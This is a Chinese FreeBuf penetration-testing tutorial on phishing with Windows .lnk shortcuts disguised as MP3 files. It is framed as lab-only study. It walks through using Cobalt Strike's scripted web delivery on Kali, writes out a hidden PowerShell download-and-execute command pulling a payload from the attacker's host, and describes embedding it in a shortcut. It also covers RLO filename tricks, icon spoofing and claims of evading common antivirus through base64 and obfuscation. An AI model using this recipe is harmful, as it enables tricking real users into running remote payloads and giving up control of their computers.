freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基钓鱼篇:Ink和Mp3伪装钓鱼
2020-12-26 01:05:15

系列文章

渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼

简介

渗透测试-地基篇:

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

网络钓鱼是社会工程学攻击方式之一,主要是通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段!

我们来百度了解下Ink的原理,以及利用后续的能力伪造mp3文件进行诱骗用户点击使用!!

lnk 文件是用于指向其他文件的一种文件。 这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用...这里快捷方式在钓鱼的优势是,可以写入免杀的shell代码,双击即可执行,进一步的调节下图标后,能更好的诱骗客户执行!!!

而修改创建一首无损的歌曲mp3来诱骗用户,利用了修改图标、RLO(古老的方式)、免杀shell思路合成后进行诱骗用户使用,并控制对方电脑的过程!!!

开始演示!!

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者):

IP:192.168.2.153

系统:kali.2020.4

VPS服务器:

例如搭建了各种破解软件平台,供客户需求下载!

钓鱼地址:http://xxxx.dayuixiyou.cn

办公电脑:

系统:windwos7

IP:192.168.2.144

目前黑客利用kali运行了Cobalt Strike进行APT攻击 ,通过我介绍的免杀思路,使用Ink和RLO方法进行封装,假设上传至服务器后,让用户进行下载并获得对方电脑权限的演示过程!!

三、Ink快捷方式钓鱼

免杀思路放在最后,目前好几个月了,利用该思路都能过国内的杀软,例如360、火绒、deferencer等等...

1、查找后门绝对路径

这里可以提权后门的有很多文件,这里以powershell.exe进行演示!

1608912979_5fe610537114b4b27e91e.png!small?1608912982377

1608913032_5fe61088587e5fa6f743b.png!small?1608913032693

这里可以利用Everything或者文件夹本身搜索powershell.exe的绝对路径复制后即可!

目前知道的绝对路径是:

C:\Windows\System32\WindowsPowerShell\v1.0

2、生成后门恶意链接

1608913089_5fe610c1ef27d6c6e026e.png!small?1608913090264

kali上运行Cobalt Strike,根据图进行点击:Scripted Wed Delivery(s)

1608913163_5fe6110b05d173d014e4d.png!small?1608913163289

选择Listener监听,然后Launch执行即可

1608913200_5fe61130595bc3f1eba46.png!small?1608913200753

这就创建好了一个powershell的回连恶意链接....复制即可!

3、创建Ink快捷方式1608913335_5fe611b78308176d8710d.png!small?1608913336539

现在本地创建一个dayu.txt文件,将powershell恶意代码放入进行修改,将代码最前端添加绝对路径....

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.153:80/a'))"

这里免杀就很简单了,base64,混淆上就行....继续往下看!!

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 钓鱼 # Ink
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑